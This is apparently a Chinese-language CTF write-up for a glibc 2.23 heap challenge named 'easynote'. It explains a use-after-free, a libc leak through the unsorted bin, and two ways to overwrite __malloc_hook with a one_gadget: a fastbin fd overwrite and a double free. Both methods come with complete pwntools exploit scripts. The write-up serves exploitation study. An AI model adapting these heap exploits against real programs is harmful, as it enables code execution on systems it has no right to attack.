一道基础的uaf的两种食用方法~double free
- 前情提要:libc-2.23,无teache。
甚至不用改名字,出题人都给把名字叫好了(爱了爱了),这样子调试的时候很舒服
欸,保护连pie都没开,或许还能用它学学别的做法。
长度自定,可以堆溢出,但是这两种做法没有用到,以后考虑用它试着unlink啥的。
创建函数的时候会有输入
delete这里没有指针置0,存在uaf
打印函数就是常规打印
先创建0x80的块,free掉,从unsorted bin 里打印泄露出libc
reat(0x60,b'AAAAAA')#0
creat(0x80,b'AAAAAA')#1
creat(0x60,b'AAAAA')#2
creat(0x60,b'AAAAA')#3
free(1)
#debug()
show(1)
__malloc_hook_addr=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
print(hex(__malloc_hook_addr))
第一种:
然后把它填上,free一个fastbin大小的块,修改fd指针为打hook的地址,创建两个块,第二个块就覆盖到打hook的地址那里了。
ake_addr=__malloc_hook_addr-0x20-3
creat(0x80,b'AAAA')#4=1
free(2)
edit(2,p64(fake_addr))
#debug()
creat(0x60,b'bbbb')
creat(0x60,b'B'*(0x13-8)+p64(onegadget)+p64(realloc+4))
总exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./easynote')
#p=remote('node4.buuoj.cn',29354)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def debug():
gdb.attach(p)
pause(1)
def creat(lenth,content):
ru(b'5. exit\n')
sd(b'1')
ru("The length of your content --->")
sd(str(lenth))
rl()
sd(content)
def edit(index,content):
ru(b'5. exit\n')
sd(b'2')
ru("Index --->")
sd(str(index).encode())
ru("--->\n")
sl(str(len(content)))
ru("--->\n")
sd(content)
def show(index):
ru(b'5. exit\n')
sd(b'4')
ru('Index --->\n')
sd(str(index))
def free(index):
ru(b'5. exit\n')
sd(b'3')
ru('Index --->\n')
sd(str(index))
creat(0x60,b'AAAAAA')#0
creat(0x80,b'AAAAAA')#1
creat(0x60,b'AAAAA')#2
creat(0x60,b'AAAAA')#3
free(1)
#debug()
show(1)
__malloc_hook_addr=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
print(hex(__malloc_hook_addr))
libc=ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc=ELF('./libc64-2.23.so')
libc_base=__malloc_hook_addr-libc.sym['__malloc_hook']
realloc = libc_base +libc.sym['realloc']
onegadget=libc_base+0xf1247
fake_addr=__malloc_hook_addr-0x20-3
creat(0x80,b'AAAA')#4=1
free(2)
edit(2,p64(fake_addr))
#debug()
creat(0x60,b'bbbb')
creat(0x60,b'B'*(0x13-8)+p64(onegadget)+p64(realloc+4))
#gdb.attach(p)
#pause(1)
debug()
creat(0x10,b'AA')
#gdb.attach(p)
p.interactive()
另外一种:double free
泄露出libc以后,free多次
free(2)
free(3)
free(2)
然后在创建的时候改fd指针
creat(0x60,p64(fake_addr))
creat(0x60,b'AA')
creat(0x60,p64(fake_addr))
creat(0x60,b'B'*(0x13-8)+p64(onegadget)+p64(realloc+4))
free两次后
free三次后
连接情况2->3->2
第一次创建:
3->2->fake_addr
第二次创建:
2->fake_addr
第三次创建:
fake_addr
第四次创建就在fake_addr出写入数据了。
总exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./easynote')
#p=remote('node4.buuoj.cn',29354)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def debug():
gdb.attach(p)
pause(1)
def creat(lenth,content):
ru(b'5. exit\n')
sd(b'1')
ru("The length of your content --->")
sd(str(lenth))
rl()
sd(content)
def edit(index,content):
ru(b'5. exit\n')
sd(b'2')
ru("Index --->")
sd(str(index).encode())
ru("--->\n")
sl(str(len(content)))
ru("--->\n")
sd(content)
def show(index):
ru(b'5. exit\n')
sd(b'4')
ru('Index --->\n')
sd(str(index))
def free(index):
ru(b'5. exit\n')
sd(b'3')
ru('Index --->\n')
sd(str(index))
creat(0x60,b'AAAAAA')#0
creat(0x80,b'AAAAAA')#1
creat(0x60,b'AAAAA')#2
creat(0x60,b'AAAAA')#3
creat(0x60,b'AAAAA')#4
free(1)
#debug()
show(1)
__malloc_hook_addr=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
print(hex(__malloc_hook_addr))
libc=ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc=ELF('./libc64-2.23.so')
libc_base=__malloc_hook_addr-libc.sym['__malloc_hook']
onegadget=libc_base+0xf1247
realloc = libc_base +libc.sym['realloc']
fake_addr=__malloc_hook_addr-0x20-3
creat(0x80,b'AAAA')#5=1
#debug()
free(2)
free(3)
debug()
free(2)
debug()
creat(0x60,p64(fake_addr))
creat(0x60,b'AA')
creat(0x60,p64(fake_addr))
creat(0x60,b'B'*(0x13-8)+p64(onegadget)+p64(realloc+4))
creat(0x10,b'AA')
p.interactive()
-
总结:
以前看double free,总以为很难很难的样子,实际上动手调一调看看,也就是基本的uaf罢了。不要只看理论讲解就被吓懵哦。